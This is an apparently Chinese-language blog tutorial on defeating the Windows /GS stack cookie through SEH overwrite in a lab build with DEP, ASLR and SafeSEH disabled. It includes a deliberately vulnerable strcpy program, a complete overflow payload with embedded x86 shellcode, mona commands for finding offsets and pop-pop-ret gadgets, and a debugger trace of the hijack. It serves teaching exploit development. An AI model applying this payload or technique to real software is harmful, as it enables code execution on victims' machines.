前言
过GS保护的方法有很多,大部分方法都是在验证security cookie前进行劫持,然后经过精心构造的payload成功执行shellcode。例如上一篇介绍的利用虚函数过GS保护。今天介绍的是另外一种,也是在验证security cookie前进行劫持,过程相比虚函数较简单些。
一、seh
seh一词乍一听你可能不太熟悉,但是提到try catch,你一定很熟悉,在开发者写系统时,少不了利用try catch来进行程序异常处理。而seh为windows异常处理机制中的重要数据结构。全称为structure Exception Handler。
每个SEH结构体包含两个DWORD指针:SEH链表指针next seh和异常处理函数句柄Exception handler,共八个字节,存放于栈中。如下图所示,其中SEH链表指针next seh用于指向下一个SEH结构体,异常处理函数句柄Exception handler为一个异常处理函数。
EXCEPTION_DISPOSITION
__cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext);
攻击思路:因为SEH结构体存放于栈中,因此溢出缓冲区的数据可以淹没SEH。那是否可以通过精心构造的数据将异常处理函数的入口地址改为我们自己的shellcode???
二、实验环境
环境 | 备注 | |
---|---|---|
操作系统 | win7 | |
编译器 | VS2015 | |
编译选项 | 需要打开GS,关闭DEP,关闭ALSR,关闭safeseh和修改基址 | 具体下面有图 |
build版本 | release |
编译选项具体如下:
1)修改代码基址,如修改为0x41400000,避免代码中的strcpy存在00截断。
2)需要打开GS:项目属性-->C/C++-->代码生成->安全检查->启用安全检查(GS)
3)关闭DEP,关闭ALSR,关闭safeseh,在项目->属性->链接器中依次修改。
三、代码分析
3.1 代码
代码很简单,其中payload的构成在后面会详细描述。关键点如下:
1)可以看到test函数内的strcpy存在典型的溢出
2)如果buf变量内容过长,则会破坏堆栈结构,引发seh异常。
// sehGS.cpp : 定义控制台应用程序的入口点。
#include "stdafx.h"
#include <windows.h>
#pragma warning(disable:4996)//该行用来屏蔽strcpy的警告
char payload[] = ""
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //20x13=260
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//276字节 \x90*276
"\x06\xeb\x06\x90" //$+8 EB06
"\x70\x13\x40\x41" //ppt指令序列地址 需要改成自己的
"\x90\x90\x90\x90\x90\x90\x90\x90"//滑轨
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"//shellcode start
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7" //shellcode end
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"//a*200
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";
void test(char* input) {
char buf[200];
strcpy(buf, input);
}
int main()
{
printf("the code begin!\n");
test(payload);
getchar();
printf("the code end!\n");
return 0;
}
3.2 变量地址
看下各变量地址如下图所示,原始参数input(payload)的首地址为0x41403018,局部变量buf首地址为0x0018fe64。
3.3 栈中的SEH链
利用Immunity Debugger打开sehGS.exe,选择sehGS.exe模块(view->Executable modules->sehGS.exe),打个断点(F2),然后run到刚才的断点处,查看seh链。
查看seh链(view->SEH chain)
选择距离栈顶近的seh(0x0018FF78),并在堆栈中跟随。
可以看到next SEH地址为0x0018FF78,SE handler地址为0x0018FFC
3.4 攻击思路
可以看到局部变量buf首地址为0x0018fe64,seh链地址为0x0018FF78,因此可以通过buf溢出来覆盖seh地址,这里注意我们可控制的地址有0x0018FF78(next seh)和0x0018FF7C(se handler)两个。我们攻击思路如下两个:
(1) 直接将se handler(0x0018FF7C)处改为我们shellcode首地址(0x0018fe64),但是当开启了地址随机化,buf地址会变化,因此这种思路只适合地址随机化未开启的。
(2)利用跳板,例如PPT指令序列跳板 或者jmpesp跳板等,实现动态跳转,具体过程见下面分析。
我们依旧通过讲述payload的构成来描述整体攻击过程。
四、payload构成
首先确认偏移量,精准覆盖next seh地址,利用Immunity Debugger生成长度为2000字符,打开文件所在目录的pattern.txt,获取生成的字符串
!mona pc 2000
然后,传入长度为2000的字符串,Immunity Debugger一直运行代码,直到底部出现如下图所示的提示。代表发生了异常。
然后按shift+F9,将异常传入,可以看到EIP为6A41336A,然后观察seh链已被我们的字符串覆盖,next SEH(0x0018FF78)处覆盖为41326A41 0Aj1,SE handler(0x0018FF7C)处覆盖为 6A41336A j3Aj 。
这里我们只需要覆盖到next SEH(0x0018FF78)处即可,因此用以下命令计算0x0018FF78到buf(0x0018fe64)的偏移量为276。
!mona po 41326A41 或者!mona po 0Aj1
这个时候的payload可以看出为以下结构:当填充为276字节后,即可精准覆盖Next SEH处,那Next SEH应该填什么呢??我们接着往下分析。
程序执行发生异常后,我们一起观察传入异常后,堆栈状态如下图所示,可以看到当前ESP=0x0018F8B8,然后在ESP+4+4的位置0x0018F8C0处存的是SEH next地址(0x0018FF78),因此不禁会想到如果使用PPT指令序列指令,pop两次后,使得EIP=0x0018FF78,就可以跳到SEH next地址处,这个时候我们先理下我们payload构造的思路。
(1)首先seh异常发生后,会调用处SE handler的函数,因此SE handler处是可控的,这里可以作为第一跳,但是这一跳会跳出了shellcode缓冲区,因此要考虑如何回到shellcode缓冲区中(buf局部变量内存区域)。
(2)将异常传入后,系统将SEH 函数相关参数压栈,然后发现SEH next参数(0x0018FF78)在当前ESP+8处。结合(1)和前面分析,可以发现很容易想到,执行异常时,虽然跳出了shellcode缓冲区,但是只需要执行PPT指令序列,Pop两次后,使得EIP=0x0018FF78,就可以重新回到shellcode缓冲区位置(0x0018FF78处此时已被buf溢出覆盖)。
因此下一步需要找一个合适的PPT指令序列作为跳板,查找命令为:!mona seh,结果如下图所示,这里选择的要求是,作为跳板时,不影响正常程序流程。我们选择无ebp esp,并且各项都是FALSE的0x41401370地址的PPT指令序列。
写到这个,整个过程大致清晰,就让我们来总结跳转过程,如下图所示:
(1)一跳:一跳为buf溢出,破坏堆栈结构,引发异常,调用SE handler 0x0018FF7C处的异常处理函数,跳到0x41401370地址。当前跳出了shellcode缓冲区
(2)二跳:0x41401370地址内容为PPT指令序列,然后就会执行PPT指令序列,pop两次,ret后使得EIP=0x0018FF78。(因为执行异常时,异常处理函数相关参数压入栈中,可以发现Next SEH地址在ESP+8处),因此就跳到了Next SEH 0x0018FF78处,回到了shellcode缓冲区(因为buf溢出已覆盖0x0018FF78)。
(3)三跳:为了成功执行shellcode,我们发现只需要跳过Next SEH,SE handler,跳到$+8处(0x0018FF80)(当前地址+8),即可成功执行shellcode。因此SE handler(0x0018FF78)处填的应该是跳到当前位置+8处的指令:EB 06,为防止解析错位,我们将该地址填入"\x06\xeb\x06\x90",从前解析,从后解析,都是EB 06。
因此最后的payload结构如下图所示(为调试方便shellcode前习惯加8个字节的“\x90滑轨”):
首先是276字节的"\x90"填充,然后将next seh(0x0018FF78)精准覆盖"\x06\xeb\x06\x90"(跳转$+8),将SE handler精准覆盖为ppt指令序列0x41401370,然后紧接一个8字节的nop滑轨,然后开始为shellcode,最后填充200个a,主要为了破坏堆栈,引发SEH异常。
五、代码跟踪
为了更好的理解利用SEH过GS保护过程,最后我们利用构造好的payload,来跟踪下执行过程。这里我是在VS2015下执行的,你也可以用Immunity Debugger或者Ollydbg去执行观察,这里只贴出关键点的图片。先看下所需要的地址。
名称 | 地址 |
---|---|
原始参数input(payload) | 0x41403018 |
局部变量buf | 0x0018fe64 |
Next SEH | 0x0018FF78 |
SE handler | 0x0018FF7C |
PPT指令序列 | 0x41401370 |
(1)为了看清楚各个步骤,首先在0x41401370,0x0018FF7C,0x0018FF78几个地址打断点,然后点击调试,运行,发现在执行strcpy时,报错,然后点击中断。(报错原因:buf过长,破坏了堆栈结构)
(2)中断后,我们先观察下seh在栈中的状态,可以看到next seh已经被精准覆盖为"\x06\xeb\x06\x90"($+8),se handler也被精准覆盖为PPT指令序列地址 41401370。
(3)然后继续点击运行。弹框”是否将异常传递给正在调试的程序“,点击”是“
(4)将异常传进去后,系统将函数所需要参数压入栈中,然后系统调用SE handler处的异常处理函数(现已覆盖为PPT指令序列地址),跳到ppt指令序列地址(0x41401370),EIP=0x41401370,并发现ESP=0x0018F8B8,在ESP+8处为压入的next seh地址(0x0018FF78)。继续执行代码,pop ecx; pop ecx; ret;。
(5)ret后,EIP=0x0018FF78,然后系统跳到0x0018FF78地址处,执行06; EB 06;指令($+8),跳到0018FF81处。
(6)然后执行滑轨,并成功执行shellcode。
六、小结
1 利用SEH过GS保护核心点在于拿到seh链的se handler和next seh处的控制权,可以控制其任意跳转,结合PPT跳板,实现了动态跳转,执行shellcode。
2 虽然成功利用SEH过了GS保护,但是对于SEH异常处理机制整体流程的细节并不是特别清楚,例如在发生异常时,系统调用异常处理函数前,将函数所需要参数压入堆栈的细节,网上相关资料也甚少,如果有相关资料推荐,可以留言哦~大家一起学习,一起进步哦~·
REF
《0day安全:软件漏洞分析技术》
https://blog.csdn.net/weixin_43713800/article/details/106305156